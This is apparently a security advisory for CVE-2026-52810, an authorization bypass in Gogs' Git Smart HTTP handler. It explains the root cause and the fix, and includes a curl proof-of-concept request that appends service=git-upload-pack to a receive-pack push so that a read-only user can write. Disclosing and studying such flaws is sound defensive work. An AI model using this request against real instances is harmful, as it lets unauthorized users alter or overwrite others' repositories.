CVE-2026-52810: Gogs Git Smart HTTP Authorization Bypass via service Query Parameter Confusion
A read-only collaborator on a Gogs instance can push commits to a repository they should never be able to write to, by forging a single query parameter on the push HTTP request.

The problem
Gogs' Git Smart HTTP handler decides which access level to enforce based on the client-supplied service query parameter rather than the actual URL path being routed.
The Git protocol exposes two RPCs over HTTP: upload-pack (read/fetch) and receive-pack (write/push). When a client POSTs to /repo.git/git-receive-pack?service=git-upload-pack, Gogs evaluates authorization as if the request were a read, but the router still dispatches to the write code path.
Any authenticated user with read access can therefore push commits, branches, or force-push over existing history.
The impact is widest on instances with REQUIRE_SIGNIN_VIEW = true, where every signed-in user can push to any public repository. Even in default configurations, a read-only collaborator can exploit this against any repo they can see.
Proof of concept
A working proof-of-concept for CVE-2026-52810 in gogs.io/gogs, with the exact payload below.
# 1. Run a local MITM proxy that appends ?service=git-upload-pack to every
# git-receive-pack POST, then push through it.
#
# Core rewrite (from the published PoC):
# POST /victim/target.git/git-receive-pack
# becomes:
# POST /victim/target.git/git-receive-pack?service=git-upload-pack
#
# Minimal curl equivalent (shows the raw request Gogs mis-authorizes):
curl -u attacker:password \
-X POST \
-H 'Content-Type: application/x-git-receive-pack-request' \
'http://localhost:3000/victim/target.git/git-receive-pack?service=git-upload-pack' \
--data-binary @push-pack.bin
# The full Python PoC (proxy + git push) is in the published advisory:
# https://github.com/gogs/gogs/security/advisories/GHSA-wmfg-5p4h-5fw3The vulnerable code derived the required access mode from c.Query("service") (or equivalent query-string read) instead of from the matched route. Because HTTP query parameters are fully attacker-controlled, supplying service=git-upload-pack on a git-receive-pack request caused the authorization gate to check read permission while the router executed the write handler.
The patch (commit 7c9cf53) corrects this by deriving the access mode from the RPC path itself, making the service parameter irrelevant to the authorization decision. CWE-284 (Improper Access Control) applies directly: the trust boundary was placed on client-supplied input rather than server-side routing state.
The fix
Upgrade to Gogs 0.14.3 or later. The fix is in commit 7c9cf53aca957959bcd98b0cc987d9901b7cb184 (PR #8331). No configuration workaround exists for earlier versions; the only safe option is upgrading.
Related research
- high · 8.9CVE-2026-52798CVE-2026-52798: Gogs Stored XSS in .ipynb Notebook Preview
- high · 7.5CVE-2026-52799CVE-2026-52799: Gogs Missing Authorization in Attachment Download
- high · 8.1CVE-2026-52801CVE-2026-52801: Gogs Mirror Settings SSRF and Local Repository Import
- high · 8.8CVE-2026-52800CVE-2026-52800: Gogs CSRF Leading to Organization Owner Takeover